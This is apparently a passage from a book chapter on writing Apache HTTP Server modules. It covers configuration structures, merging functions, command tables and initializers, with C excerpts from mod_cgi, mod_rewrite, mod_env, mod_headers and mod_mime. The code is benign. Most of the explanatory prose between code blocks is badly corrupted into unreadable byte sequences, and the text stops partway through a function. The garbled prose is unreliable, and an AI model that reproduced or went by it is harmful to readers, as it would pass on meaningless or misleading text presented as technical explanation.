#define HTTP_INTERNAL_SERVER_ERROR         500
#define HTTP_NOT_IMPLEMENTED              501
#define HTTP_BAD_GATEWAY                   502
#define HTTP_SERVICE_UNAVAILABLE           503
#define HTTP_GATEWAY_TIME_OUT              504
#define HTTP_VERSION_NOT_SUPPORTED         505
#define HTTP_VARIANT_ALSO_VARIES           506

��	��/ " ��������V>. �	 ���UXd �� �". �����Y! _"n#& G#.�:
#define DOCUMENT_FOLLOWS    HTTP_OK
#define PARTIAL_CONTENT     HTTP_PARTIAL_CONTENT
#define MULTIPLE_CHOICES    HTTP_MULTIPLE_CHOICES
#define MOVED               HTTP_MOVED_PERMANENTLY
#define REDIRECT            HTTP_MOVED_TEMPORARILY
#define USE_LOCAL_COPY      HTTP_NOT_MODIFIED
#define BAD_REQUEST         HTTP_BAD_REQUEST
#define AUTH_REQUIRED       HTTP_UNAUTHORIZED
#define FORBIDDEN           HTTP_FORBIDDEN
#define NOT_FOUND           HTTP_NOT_FOUND
#define METHOD_NOT_ALLOWED  HTTP_METHOD_NOT_ALLOWED
#define NOT_ACCEPTABLE      HTTP_NOT_ACCEPTABLE
#define LENGTH_REQUIRED     HTTP_LENGTH_REQUIRED
#define PRECONDITION_FAILED HTTP_PRECONDITION_FAILED
#define SERVER_ERROR        HTTP_INTERNAL_SERVER_ERROR
#define NOT_IMPLEMENTED     HTTP_NOT_IMPLEMENTED
#define BAD_GATEWAY         HTTP_BAD_GATEWAY
#define VARIANT_ALSO_VARIES HTTP_VARIANT_ALSO_VARIES

�_ � :�,�Y�� " ��#p 
^�! 2�G2�2��dHTTP 1.1�� ���� n#,� �� 2 " u1�	 �	 �s�� �� 
����,"    u, n�&� ��.� 
� u�p�E .HTTP_OK)         J�u. �u	 �;Xud �upDOCUMENT_FOLLOWS

 2�	 \��Y,(  ~��Y,�X."  #   �2�& n2�-����"  v/�	 �� Z��2�� �,�2� )#& Gd��,, ����12� 2�u& .
HTTP_MOVED_TEMPORARILY )        J�u. �u	 ;Xd �pREDIRECT    2�u	 \��uY,  (  vu/�	

,�    ����, �p 2�&  �	URL 2 "�w�   ��� 2 �p "  #�Location    n#& �V0, i! u�� , � u>�  #u�2 � .
HTTP_NOT_MODIFIED)    �	 ;Xd �pUSE_LOCAL_COPY   2�u	 \��Y, (  �     �u	 �u��� 2

����12�, ��" �p # GET<�&� #�&�	 ��&�2 ) ;k,If-Modified-Since.(
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W\XaX ���<��module
 � 2"   tV	 
�_  �< �	� ��1�� �	 �!module u, � ��2�u�"E.!�!  u� ��U1#u, y�   �u	 � ��1�u� 
!�!�b�& n2�-��� y, ��2�!�! #�.��� ��,�_� �p E� 2 )#& ���a y ��1��.��>.

Create Per-Server Config Structure

void *module_create_svr_config(pool *pPool, server_rec *pServer)

�" ��1�� 
 � �#�	�q� ��� �	�  ������� ��	 ���.���� , �2��� .� u"    j	�u! 
 u"    ��u	 �u	 z�
����� ̂ � U�   � "  ��	 �	 z�   �� ,� ��s, )�	_� .��1��� � , �   � 2�&  ��� �u	��� #u�	�q�  �u}��$
�V!�  n�&� � n2�2 �,�	 � )� �	 n��� #u.�2�� .pServer  �u	server_rec ��u��� uUY� �  n�u&� 

,�#�p . �	 M�k,?(?@ �� �pmod_cgi.c  �n#& ��V�.��p � �!�#:
 S�K�WXW\ .mod_cgi.c

#define DEFAULT_LOGBYTES 10385760
#define DEFAULT_BUFBYTES 1024

typedef struct {
    char *logname;
    long logbytes;
    int bufbytes;
} cgi_server_conf;

static void *create_cgi_config(pool *p, server_rec *s)
{
    cgi_server_conf *c =
    (cgi_server_conf *) ap_pcalloc(p, sizeof(cgi_server_conf));

c->logname = NULL;
    c->logbytes = DEFAULT_LOGBYTES;

c->bufbytes = DEFAULT_BUFBYTES;

    return c;
}

�"     ���! #p �Y�d 
"     �� �u&�.� zcgi_server_conf  u�V! ��    �2�#uf, � n2�2 �� ���  u� �
,�#�p .

i! ���!�������� 2 �p �@,R�n#& M��/�  �p ��� )� pool �ap_palloc ( )!�! �	  u�  �u	 y
apr_pool_t ( ) � apr_palloc ( )#X! "n#& B#.�.

Create Per-Directory Config Structure

void *module_create_dir_config(pool *pPool,char *szDir)

�"   ��1�� 
"   ��u	 �	 z�    �u�  �u.����     n��u�� �u	szDir=NULL    �2�#uf, J�uw�� ����� u� �
��#�	�q�,�    ��� �	 n�	�2 � )�	_�   �� tV	<Directory>  �<Location>  �"  �<File>   2  n#u.���
��#�	�q�   �p 2"�p����  � �� "  
�.����  �#�&�	 ��&�2 )    n���� �	szPath    �u	 �up   �2�#uf, �1�u&�
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n#&(.��1���� , �2�& .�����  =�� J�w�� 
  )2�pn#.������.htaccess. u�  _      J�u. n��u�� �u	
�1�&���p n#.���.��1��� ��� )� 2 �, �2�& .

 � \#�"  �V! j	�! 
�  �2�#f, � �� ��� �   �}��$ � . 2�,� ��	 ���  � �� �#�	�q�  �u�� �1�& .
�"    j	�u! 
 u"       �u	 �u� n�u&� z   8�u��1� �u}��$"  u,�	 �u���� #u.�2�� .  �u	   M�uk,@(?@  �� �up 

mod_rewrite.c p �d2 ���� n#& �������#:
 S�K�\XW\ .mod_rewrite.c

static void *config_perdir_create(pool *p, char *path)
{
    rewrite_perdir_conf *a;

    a = (rewrite_perdir_conf *)ap_pcalloc(p, sizeof(rewrite_perdir_conf));

    a->state           = ENGINE_DISABLED;
    a->options         = OPTION_NONE;
    a->baseurl         = NULL;
    a->rewriteconds    = ap_make_array(p, 2, sizeof(rewritecond_entry));
    a->rewriterules    = ap_make_array(p, 2, sizeof(rewriterule_entry));

    if (path == NULL) {
        a->directory = NULL;
    }
 else {

        /* make sure it has a trailing slash */
        if (path[strlen(path)-1] == '/') {
            a->directory = ap_pstrdup(p, path);
        }
        else {
            a->directory = ap_pstrcat(p, path, "/", NULL);
        }
    }

    return (void *)a;
}

�" j	�! 
��	 �}��$� ��1�� rewrite_perdir_conf�V!� � n2�2 ��2�#f,�, �#�p .
!��-! ���!����� �	 �p ��V>. @,R �p ��� )� 2�2 pool  �u	 apr_pool_t � ap_palloc( )

 �	apr_palloc( )i! ��n2�2 J�. �#.� .
Pre-Config (2.0)

int module_pre_config(apr_pool_t *pconf,apr_pool_t *plog,apr_pool_t *ptemp)

�" j	�! 
    � {��& �� BXd ������#�	�q� , �� ��  ��$ 2 �2�&�   �p   n#.��� B�/ 2���   � �1�& 
����� .��1��� �#�	�� , �#.�& ."  /�. 2�	�p z�� " 2 j	�! 
�2�#f,���� � �u�� � .  M�uk,D(?@
, )�0.� �.�w� �p #�2mod_headers.c��	 ��2�#f, �, n2�-��� E�2 j	�! �#�p.

 S�K�aXW\ .mod_headers.c
static void register_format_tag_handler(apr_pool_t *p, char *tag,
                                        void *tag_handler, int def)
{
    const void *h = apr_palloc(p, sizeof(h));
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h = tag_handler;
    apr_hash_set(format_tag_hash, tag, 1, h); 
}
static int header_pre_config(apr_pool_t *p, apr_pool_t *plog, apr_pool_t *ptemp)
{
    format_tag_hash = apr_hash_make(p);
    register_format_tag_handler(p, "D", (void*) header_request_duration, 0); 
    register_format_tag_handler(p, "t" , (void*) header_request_time, 0); 

register_format_tag_handler(p, "e" , (void*) header_request_env_var, 0); 
 

return OK;
}

Per-Server Merger

void *module_merge_server(pool *pPool, void *base_conf, void *new_conf)

  )#.��1 J�w��n#.���� �#�	�q��"��	 j	�! 
� �� ,�  ��us, )�u	_� .��u1��� � u, �   �up 2�u&
base_conf   �	 ��#�	�q������  Uu^� �)  ��u	�  �   u"  
 �u.���� (   u, n�u&��    � #u�pnew_conf  �u	 

��#�	�q�,� ��s, )�	_�  , n�&� �#�p .�"  � j	�! 
"  � )�q,� 
 E����  , �#�p   �p �$n� �u�� �  u� �
�2�#f,�   n#& ,� ��s, )�	_�   �� ����� U^� �    #.�& n2�	 �� �	    � "  !�^ 2 ��    �#u�p ���d� �p 
��U1#,������ U^� �    �	 � ,� ��s, )�	_� ��. J��2� "#.� "n�&� j	�! 
  �u	 �� � ��1�u�� #u�	�q�

,���s, )�	_�,�	 ��#.�2��.
i! ��� 
q�,�� :���" n#������J��2� n�� � ,���.�	_�"� �, �� ��U^� )�	_�#�#	 �  . �	 M�k,

7(?@ �� �p mod_cgi.c �p �d2 n#& ������#:
 S�K�bXW\.mod_cgi.c

static void *merge_cgi_config(pool *p, void *basev, void *overridesv)
{
    cgi_server_conf *base = (cgi_server_conf *) basev, *overrides = (cgi_server_conf 
*)overridesv;

    return overrides->logname ? overrides : base;
}

 � �����"  1 M�k, 
�U� �#�	� �"   ���� "  z   n#��p J��2������ , �    �up �u� #.��!�     J�u�2� �up 
 n#��p, J�s.� �1�&� �#�2#�2 J�s.� .

  �n�	�2 i! ���!����  ���� �p �@,R       �p ��� )� ���� n2�p pool 	   �apr_pool_t #X! "  n#& B
��� .

Per-Directory Merger

void *module_dir_merge(pool *pPool, void *base_conf, void *new_conf)

�0,	  � n#��p J��2������� �" j	�! 
"��	 �	 z� �� ,� ��us, )�	_�)   ��u	 �u.�  �1�u& �u� (
.��1����, �2�&.



==T

,�w���   �p "   , Z��2�� ����12 z�  �2�&�"   j	�! 
 ��0V	 J��!�<Directory>  oX!�, �
    F9� � n2�p J��2�n#.������.htaccess)", 2 z� �)� ��"& �0�� �	 � n2�p {���"  �up�$ 


,�� �#�p F9� ��0V	�<File> � <Location>. � �!�! )��� �	 _�, J��2� y�#�p.
  \;1�	   n#��p J��2������  �J��2� n#��p  �1�&�� � J�w��������   �u	 ~�u��$�p�!� �u�X�

GU�V,��#�	�q� B], ��1�&3   � n#.�����	�    �u���12 �u�  .��u1����  u, � 2�u& . ��	�u�	"  2 

!�^�   �2 #�d �p " � #"   i! � j	�! 
�� �2 ��  �#w.�w�� u9p�  )2�up �� #u�	�q�)  2new_conf (

��� E�,.
  � �U/ M�$"   �, �q�mod_rewrite.c   �  �k, )���/ �	 ��	 M��"    � )2�up 2�us� #u�	�q�   �1�u& 

2�p ��V�.�", �V0, �E�2�& . �	 M�k,S(?@�p n�w. �#:
 S�K�cXW\ .mod_rewrite.c

static void *config_perdir_merge(pool *p, void *basev, void *overridesv)
{
    rewrite_perdir_conf *a, *base, *overrides;
    a     = (rewrite_perdir_conf *)pcalloc(p, sizeof(rewrite_perdir_conf));
    base  = (rewrite_perdir_conf *)basev;
    overrides = (rewrite_perdir_conf *)overridesv;

    a->state           = overrides->state;
    a->options         = overrides->options;
    a->directory       = overrides->directory;
    a->baseurl         = overrides->baseurl;
    if (a->options & OPTION_INHERIT) {
        a->rewriteconds = append_arrays(p, overrides->rewriteconds, 
             base->rewriteconds);
        a->rewriterules = append_arrays(p, overrides->rewriterules, 
             base->rewriterules);
    }
    else {
        a->rewriteconds = overrides->rewriteconds;
        a->rewriterules = overrides->rewriterules;
    }
    return (void *)a;
}

    , n#��0, �p �< )�����p�# � ��#�	�q�U^�� �	 ��>	 � "    �up 
�� #u�	�q� #   u" _� #"  �u�
INHERENT #&�	 n2�p �V0, � "9p ��. ��, �2�&.

  i! ���! �n�	�2����  ���� �p �@,R       �p ��� )� ���� n2�p pool   �	 apr_pool_t #X! "  n#& B
��� . �	 M�k,Q(?@XV��, tV	 �p � �� mod_env.c�p n�w. ���� �#.

 S�K�jXW\ .mod_env.c
static void *merge_env_dir_configs(pool *p, void *basev, void *addv)
{
    env_dir_config_rec *base = (env_dir_config_rec *) basev;
    env_dir_config_rec *add = (env_dir_config_rec *) addv;
    env_dir_config_rec *new =
    (env_dir_config_rec *) ap_palloc(p, sizeof(env_dir_config_rec));
    table *new_table;

1 Location
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    table_entry *elts;
    array_header *arr;
    int i;
    const char *uenv, *unset;

    new_table = ap_copy_table(p, base->vars);

    arr = ap_table_elts(add->vars);
    elts = (table_entry *)arr->elts;

for (i = 0; i < arr->nelts; ++i) {
ap_table_setn(new_table, elts[i].key, elts[i].val);

    }

    unset = add->unsetenv;
    uenv = ap_getword_conf(p, &unset);
    while (uenv[0] != '\0') {
        ap_table_unset(new_table, uenv);
        uenv = ap_getword_conf(p, &unset);
    }

    new->vars = new_table;

    new->vars_present = base->vars_present || add->vars_present;

    return new;
}

�" j	�! 
��#�	�q�#  "#�� ", 2�s� �p #�p M�#  �#Y	base vars) M�# i�,� 2�uf, � ���" �
],��� (9p )� 2�, �2�& . F9� �	 z! z! ����n��$��� M�# addv vars � ��� � ��.�

#  M�#  2"�2�#f, #�, �#�p .
  �V>.@,R  � �� "  
  j	�! i! B,�&��!���  �� ��� �    2_. n�uw. 2  u"  u>	 z�    #��u>� �	�u0, � . 2

 �V>.@,R n�� �, n2�2 j	��! GU�V, J�. �� n2�-����2�&.
static void *merge_env_dir_configs(apr_pool_t *p, void *basev, void *addv)
{
    env_dir_config_rec *base = basev;
    env_dir_config_rec *add = addv;
    env_dir_config_rec *res = apr_palloc(p, sizeof(*res));
    const apr_table_entry_t *elts;
    const apr_array_header_t *arr;
    int i;

    res->vars = apr_table_copy(p, base->vars);
    res->unsetenv = NULL;

    arr = apr_table_elts(add->unsetenv);
    elts = (const apr_table_entry_t *)arr->elts;

for (i = 0; i < arr->nelts; ++i) {
apr_table_unset(res->vars, elts[i].key);

    }

   arr = apr_table_elts(add->vars);
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    elts = (const apr_table_entry_t *)arr->elts;

for (i = 0; i < arr->nelts; ++i) {
apr_table_setn(res->vars, elts[i].key, elts[i].val);

    }

    return res;
}

Command Table

command_rec aCommands[]

�"    �	 ��1�� 
��"���  2 �� "�p��   �p ����.����  � � �#�	�q� , �  , n�&� #�p�#�p .    B1#u, �u�
" 2 z"�p��  �xw,�. � ��Y	�! �n2�p ����	 ��X�� � )�  � n2�p �V0,, �V0,�   �up #u�p

 2 J�#p"�p������AllowOverride��	�    ���2 )#& ��s, �	" #�u&�	 ��&�2 2� � # .   B1#u, �u�
  F9��w�w.�   )#& =��#.�.�0.��� 2 "�p��         � n2�up �Vu0, � �u��� u�J� �u��     2 � �u�1 

��1 2� � :�^��]. �, J�UY,�#�p.
�Y!" Gcommand_rec 2 http_config.c ��� n#,�:

typedef struct command_struct {
  const char *name;          /* Name of this command */
  const char *(*func)( );     /* Function invoked */
  void *cmd_data;            /* Extra data, for functions that
                              * implement multiple commands...
                              */
  int req_override;          /* What overrides need to be allowed to
                              * enable this command
                              */
  enum cmd_how args_how;     /* What the command expects as arguments */

  const char *errmsg;        /* 'usage' message, in case of syntax errors */
} command_rec;

  &�	 ��&�2 � �!�     �V>. 2 �p #@,R�" �Y! 
"  G  � #$ �!"2��   �� ��� ��2 � 2 {�."�w�  � 
��	�E ��,���"3 �p n�� ��2�#f,��^ " �command_recs,���� n2�p ���� �#��2:

enum cmd_how {
  RAW_ARGS,                     /* cmd_func parses command line itself */
  TAKE1,                        /* one argument only */
  TAKE2,                        /* two arguments only */
  ITERATE,                      /* one argument, occurring multiple times
                                 * (e.g., IndexIgnore)

             */
  ITERATE2,                     /* two arguments, 2nd occurs multiple times
                                 * (e.g., AddIcon)
                                 */

1 Compiler
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  FLAG,                         /* One of 'On' or 'Off' */
  NO_ARGS,                      /* No args at all, e.g. </Directory> */
  TAKE12,                       /* one or two arguments */
  TAKE3,                        /* three arguments only */
  TAKE23,                       /* two or three arguments */
  TAKE123,                      /* one, two, or three arguments */
  TAKE13                        /* one or three arguments */
};

�" _� 
"��  , �V0, ���  #��p,�w���   �p 2"�p��     2 )� �a���, �n#.��� � �#�	�q�"  �#& ���
 j	�!func.��1��� �.�w� �2�& .�� ���w. )� �� BXd � ��1�� �	 cmd_params&�	 ��&�2 �E:

typedef struct {
    void *info;                 /* Argument to command from cmd_table */
    int override;               /* Which allow-override bits are set */
    int limited;                /* Which methods are <Limit>ed */

    configfile_t *config_file;  /* Config file structure from pcfg_openfile( ) */

    ap_pool *pool;              /* Pool to allocate new storage in */
    struct pool *temp_pool;     /* Pool for scratch memory; persists during
                                 * configuration, but wiped before the first
                                 * request is served...
                                 */
    server_rec *server;         /* Server_rec being configured for */
    char *path;                 /* If configuring for a directory,
                                 * pathname of that directory.
                                 * NOPE!  That's what it meant previous to the
                                 * existance of <Files>, <Location> and regex

            * matching.  Now the only usefulness that can
                                 * be derived from this field is whether a command
                                 * is being called in a server context (path == NULL)

    * or being called in a dir context (path != NULL).
                                 */
    const command_rec *cmd;     /* configuration command */
    const char *end_token;      /* end token required to end a nested section */
    void *context;              /* per_dir_config vector passed 
                                 * to handle_command */
} cmd_parms;

�" ��1�� 
! �	 � n#& ��Y	��2 �� �	 �p "�p�� � ���� �a���,, n2�2�2�&.
 &�	 ��&�2 � �!� �p #cmd_params.info  =�u�� �	  �#uf, command_rec.cmd_data �u�

   �p n#& , n�� ��    :�/;<� �p #�2 n��V�22�& n2�2 j	�! �	 . �	�" j	�! 
� ��1���#�	�q� �1�u& 
)  2� � :�^ 2 ( , n2�2�2�&. � �#�	�q������  .��1��� o��! �  � �	�0, "  �  �u  �	"_w"   )2�up 


module_struct ��1�� �	 module�.���� �)�!2�1 ����2 B	�d���� :
ap_get_module_config(parms->server->module_config, &module_struct)

	 :�/;<� ��X�����0�. � B	�d _ �#f, �	 ��>	 �p ��� )2�2args_how2�2 :
RAW_ARGS 

func(cmd_parms *parms, void *mconfig, char *args)
args ��� o1 �,�2�)"�Y�2 2�1 \x$ �	 "�p���(.
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NO_ARGS 
func(cmd_parms *parms, void *mconfig) 

TAKE1
func(cmd_parms *parms, void *mconfig, char *w)

w ���!#.�.�0.2 "�p����� �.
TAKE2, TAKE12

func(cmd_parms *parms, void *mconfig, char *w1, char *w2) 
w1     � w2   �2#.�.�0.2"�p�� #��>� � .TAKE12 � �	 "�Y, 
� �p ��� #.�.�0.�1� J�2 ���

 �#f, )2�X. 2� �, :�^ 2 � ���w2 �	��	 NULL2�	 #���1 .
TAKE3, TAKE13, TAKE23, TAKE123

func(cmd_parms *parms, void *mconfig, char *w1, char *w2, char *w3) 

w1�w2   � w3   ��#.�.�0. 2 "�p� u�  #��u>� � .TAKE13  �TAKE23   � �TAKE123   � �u	  u" 

�Y,�    �p ���  !�! �	�  y2"�p��  �"  z"    �2 ��� � u"     � ��u� � u"   �2 z u"   �u� � #.�.�u0. u, �� u�2� .

#.�.�0.�����2� �, �NULL2�	 #����1.
ITERATE

func(cmd_parms *parms, void *mconfig, char *w)

func��� �	 �q,� �� #.�.�0.�2 M�X.2 �p "�p��.��1��� ���� n#,� ��, �2�&.
ITERATE2

func(cmd_parms *parms, void *mconfig, char *w1, char *w2) 

�	"    �2 Bd�#$ ##.�.�0.  #&�	 2� �, .func  �u	 ����    �u�  #.�.�u0.)  �� #.�.�u0. J�2  ( .��u1����
,�2�&.��� ���� �	�.��1��� �� � �	 func, n2�2 �2�&.

FLAG 
func(cmd_parms *parms, void *mconfig, int f) 

#.�.�0. �	 "  #On"  �Off �	     :�^ 2 �#&On   )2�	 f��      :�^ 2 � �-^ �Off    �#f, )2�	 f
2�	 #���1 �-^.

 ���� 2�@,R   �� "  z��p�,� ̂ �1 � ��	 � �Y! "  #.�2 )2�p G. � "    �up 
� �u �n  �2�#uf, �
�"  �.�� �� 
�3   �	 �E ��,���"     )� �� �p �0��.�X� , �  �#��p u,� #u�2.  ��	�u�	 "  
   �;ku,   �u  �u	�

 f�>, n2�-����   �� E  E���ITERATE  � ��p�, ���AP_INIT_ITEARTE��	 � )2�p ��  ��1��
command_rec�p n2�-��� �#.

req_override, � #.��!p�!�X�2�f, �� "� �" #&�	 �) E��	 �pOR, �#.�&(:
#define OR_NONE 0
#define OR_LIMIT 1
#define OR_OPTIONS 2
#define OR_FILEINFO 4
#define OR_AUTHCFG 8
#define OR_INDEXES 16
#define OR_UNSET 32

1 type-safe initialization
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#define ACCESS_CONF 64
#define RSRC_CONF 128
#define OR_ALL 
(OR_LIMIT|OR_OPTIONS|OR_FILEINFO|OR_AUTHCFG|OR_INDEXES)
2.0 adds one extra option:

#define EXEC_ON_READ 256
/**< force directive to execute a command 

                    which would modify the configuration (like including
                    another file, or IFModule */

�"   E��� 
��&"��   �p    )� �]!"  z2"�p��   , n2�2 n�� � ��    � 2�u&�Y! u" u, G� #u�p .AND
f��,��"  
n��$   � Y%�� UY� ��override �	  u" #� u� �	 �-u^ �   �u! #u&2"�p� u�  #u&�	 ��us, �. 2 

�#.������ � �#�	�q� Y%� �#f,�  �override,�w���      tuV	 �� K�1 �p <Directory>  �#u&�	 
�� �>!�X/:

RSRC_CONF|OR_OPTIONS|OR_FILEINFO|OR_INDEXES

,�w��� tV	 B1�2 �p <Directory> �#&�	 �"�	 2�	 #���1 �	��	 �#f, 
:
ACCESS_CONF|OR_LIMIT|OR_OPTIONS|OR_FILEINFO|OR_AUTHCFG|OR_I
NDEXES

  2n#.������.htaccess   o��! ���$2"�p��  �AllowOverride Y! �� , 
�&2� .  �	   M�uk,I(
?@ �� �p mod_mime.c ���� n#& ��V�.� �p n�w.�#:

 S�K�lXW\ .mod_mime.c 
static const command_rec mime_cmds[] =
{
    {"AddType", add_type, NULL, OR_FILEINFO, ITERATE2, 
     "a mime type followed by one or more file extensions"},
    {"AddEncoding", add_encoding, NULL, OR_FILEINFO, ITERATE2, 
     "an encoding (e.g., gzip), followed by one or more file extensions"},
    {"AddCharset", add_charset, NULL, OR_FILEINFO, ITERATE2, 
     "a charset (e.g., iso-2022-jp), followed by one or more file extensions"},
    {"AddLanguage", add_language, NULL, OR_FILEINFO, ITERATE2, 
     "a language (e.g., fr), followed by one or more file extensions"},
    {"AddHandler", add_handler, NULL, OR_FILEINFO, ITERATE2, 
     "a handler name followed by one or more file extensions"},
    {"ForceType", ap_set_string_slot_lower, 
     (void *)XtOffsetOf(mime_dir_config, type), OR_FILEINFO, TAKE1, 
     "a media type"},
    {"RemoveHandler", remove_handler, NULL, OR_FILEINFO, ITERATE,
     "one or more file extensions"},
    {"RemoveEncoding", remove_encoding, NULL, OR_FILEINFO, ITERATE,
     "one or more file extensions"},
    {"RemoveType", remove_type, NULL, OR_FILEINFO, ITERATE,
     "one or more file extensions"},
    {"SetHandler", ap_set_string_slot_lower, 
     (void *)XtOffsetOf(mime_dir_config, handler), OR_FILEINFO, TAKE1, 
     "a handler name"},
    {"TypesConfig", set_types_config, NULL, RSRC_CONF, TAKE1, 
  "the MIME types config file"},

    {"DefaultLanguage", ap_set_string_slot,
     (void*)XtOffsetOf(mime_dir_config, default_language), OR_FILEINFO, 
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TAKE1, 
     "language to use for documents with no other language file extension" },
    {NULL}
};

-��� �	 �� n2�set_string_slot( )�p �d2 �# .� u"   �Y! �u>�� �� 2�#.��u�� j	�u! 
 u"  2 n#u& G
cmd_data     �� n2�-��� �	 XtOffsetOf ��u	�  �2�#uf, �char*   2 �� #u�	�q� �1�u&�� �u.���� �
, n2�-����p#� . �	 M�k,T(?@� �p  �mod_mime.c �p �d2 n#& ��V�.��#.
 S�K�mXW\ .mod_mime.c

static const command_rec mime_cmds[] =
{
AP_INIT_ITERATE2("AddCharset", add_extension_info, 
         (void *)APR_XtOffsetOf(extension_info, charset_type), OR_FILEINFO,
     "a charset (e.g., iso-2022-jp), followed by one or more file extensions"),
AP_INIT_ITERATE2("AddEncoding", add_extension_info, 
         (void *)APR_XtOffsetOf(extension_info, encoding_type), OR_FILEINFO,
     "an encoding (e.g., gzip), followed by one or more file extensions"),
AP_INIT_ITERATE2("AddHandler", add_extension_info, 
         (void *)APR_XtOffsetOf(extension_info, handler), OR_FILEINFO,
     "a handler name followed by one or more file extensions"),
AP_INIT_ITERATE2("AddInputFilter", add_extension_info, 
         (void *)APR_XtOffsetOf(extension_info, input_filters), OR_FILEINFO,
  "input filter name (or ; delimited names) followed by one or more file 

extensions"),
AP_INIT_ITERATE2("AddLanguage", add_extension_info, 
         (void *)APR_XtOffsetOf(extension_info, language_type), OR_FILEINFO,
     "a language (e.g., fr), followed by one or more file extensions"),
AP_INIT_ITERATE2("AddOutputFilter", add_extension_info, 
         (void *)APR_XtOffsetOf(extension_info, output_filters), OR_FILEINFO, 
     "output filter name (or ; delimited names) followed by one or more file 
extensions"),
AP_INIT_ITERATE2("AddType", add_extension_info, 
         (void *)APR_XtOffsetOf(extension_info, forced_type), OR_FILEINFO, 
     "a mime type followed by one or more file extensions"),
AP_INIT_TAKE1("DefaultLanguage", ap_set_string_slot,
       (void*)APR_XtOffsetOf(mime_dir_config, default_language), OR_FILEINFO,
     "language to use for documents with no other language file extension"),
AP_INIT_ITERATE("MultiviewsMatch", multiviews_match, NULL, 
OR_FILEINFO,
     "NegotiatedOnly (default), Handlers and/or Filters, or Any"),
AP_INIT_ITERATE("RemoveCharset", remove_extension_info, 
        (void *)APR_XtOffsetOf(extension_info, charset_type), OR_FILEINFO,
     "one or more file extensions"),
AP_INIT_ITERATE("RemoveEncoding", remove_extension_info, 

    (void *)APR_XtOffsetOf(extension_info, encoding_type), OR_FILEINFO,
     "one or more file extensions"),
AP_INIT_ITERATE("RemoveHandler", remove_extension_info, 
        (void *)APR_XtOffsetOf(extension_info, handler), OR_FILEINFO,
     "one or more file extensions"),
AP_INIT_ITERATE("RemoveInputFilter", remove_extension_info, 
        (void *)APR_XtOffsetOf(extension_info, input_filters), OR_FILEINFO,
     "one or more file extensions"),
AP_INIT_ITERATE("RemoveLanguage", remove_extension_info, 

 (void *)APR_XtOffsetOf(extension_info, language_type), OR_FILEINFO,
     "one or more file extensions"),
AP_INIT_ITERATE("RemoveOutputFilter", remove_extension_info, 
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        (void *)APR_XtOffsetOf(extension_info, output_filters), OR_FILEINFO,
     "one or more file extensions"),
AP_INIT_ITERATE("RemoveType", remove_extension_info, 
        (void *)APR_XtOffsetOf(extension_info, forced_type), OR_FILEINFO,
     "one or more file extensions"),
AP_INIT_TAKE1("TypesConfig", set_types_config, NULL, RSRC_CONF,
    "the MIME types config file"),
    {NULL}
};

    , n#��0, �p �< )�����p� ��	 ��p�, �� �#��2�#f, ���� n#& n2�-��� ��1�� .���� � 

�p � �!� �p #set_string_slot ( ) �	 ap_set_string_slot ( )#X! "��� n#& B.

Initializer

void module_init(server_rec *pServer, pool *pPool) [1.3]
int module_post_config(apr_pool_t *pPool, apr_pool_t *pLog, apr_pool_t *pTemp, 
server_rec *pServer) [2.0]

 ���� 2�?,D � "    J�. �	 
init  �� ��� �   2 @,R  d2 :�^ �	���f�   �	 post_config i! ��  J�. �
��� n2�2.
  2@,R  ��)_V,3  � n#& E����  !�! �	 ���    �� #�!�X/ ypPool   �! �pi!�� � �� #u�	�q�  J��2 
  2�2)  M2�Y,pPool   2 ?,D(  �pLog ._V, �p�           )#u.��1 �u	 �u� �� Fu� �p n#u.��� � � #u�	�q�

  ��V,n#.������ � "�w.2�#��  ,  �� �2�&)  �	"&�	 ��&�2 2�� �p #��	�� ��	 �� � #u�	�q� �2
  , n#.��1 �	�&2�(  �  �ptemp  �p"  z �d�, )_V,�   �� Fu� �up ����q! u�� B� #u�	�q�   �u�

,�2�&.
�"  
    �� F� j	�!    )#.��1 �	 ��n#.��� � �#�	�q����    �� BXd  �uX���    ����u���12  .��u1����

,�2�&.   �	�0,  � j	��!�#�	�q�     �p �	 �� � ��u���   � ��u	 � #u�	�q�  u, �     .��u1��� ��2#us, �2�u&�
,�2�& ��	��	 �"1��� 2 
.������� J�2 #Y	 ��	 "��2 �	 �p 2�p �d2 #�#�p B�/ .� "�1� 
" 


Y	�!�   ���� �p ��� �   �� BXd�"  2�s(fork)#�"������#.��� ��	 � �X�� �  ���u���12   .��u1��� ��
,��p# .pServern�&����   �	 server_rec , � U^� )�	_� ���  .pPool"  zpool      �up �u��   �u!

� ��	 J�w���#�	�q������J��22�2  .&�	 ��&�2 � �!�UY� �V>. 2 Bd�#$ �p #����� �:
pServer->server_hostname

 ��� 
q�,�2�#f,�2�0.  .
��	�   2 ��q!��#�	�q���������  ��,�      �� n2�-�u�� �	 )��! n��u$next   ��1�u�pServer�

	� ��.� ��� 
2�p �p�$:
for( ; pServer ; pServer=pServer->next)
    ;

 �	�k, MH(?@ �� �pmod_mime.c ��� n#& ��V�.��p �d2 ��#:

?.Pool: �� 2#s, n2�-��� ���	 �p #��>� ����� 2 n#& G"�Y! �"����1�� �}��$�, �q	 ���&� �w"2 � ���#..
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 S�K�nXW\. mod_mime.c
#define MIME_HASHSIZE (32)
#define hash(i) (ap_tolower(i) % MIME_HASHSIZE)

static table *hash_buckets[MIME_HASHSIZE];

static void init_mime(server_rec *s, pool *p)
{
    configfile_t *f;
    char l[MAX_STRING_LEN];
    int x;
    char *types_confname = ap_get_module_config(s->module_config, 
&mime_module);

    if (!types_confname)
        types_confname = TYPES_CONFIG_FILE;

    types_confname = ap_server_root_relative(p, types_confname);

    if (!(f = ap_pcfg_openfile(p, types_confname))) {
ap_log_error(APLOG_MARK, APLOG_ERR, s,

"could not open mime types log file %s.", types_confname);
        exit(1); 
    }

    for (x = 0; x < MIME_HASHSIZE; x++)
        hash_buckets[x] = ap_make_table(p, 10);  

    while (!(ap_cfg_getline(l, MAX_STRING_LEN, f))) {
        const char *ll = l, *ct;

        if (l[0] == '#')
            continue;
        ct = ap_getword_conf(p, &ll);

        while (ll[0]) {
            char *ext = ap_getword_conf(p, &ll);
            ap_str_tolower(ext);   /* ??? */
            ap_table_setn(hash_buckets[hash(ext[0])], ext, ct); 
        }
    }
    ap_cfg_closefile(f);
}

 �	�0, j	�!� 2mod_mime.c  �� " �#f, zhash   ou��! �up APR    n2�-�u�� n#u& E���u� 
,�#�p . 2 �p M�k,?R(?@, n#��0, ���.�"#:

 S�K�WpXW\.mod_mime.c 
static apr_hash_t *mime_type_extensions;

static int mime_post_config(apr_pool_t *p, apr_pool_t *plog, apr_pool_t *ptemp, 
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server_rec *s)
{
    ap_configfile_t *f;
    char l[MAX_STRING_LEN];
    const char *types_confname = ap_get_module_config(s->module_config, 
&mime_module);
    apr_status_t status;

    if (!types_confname)
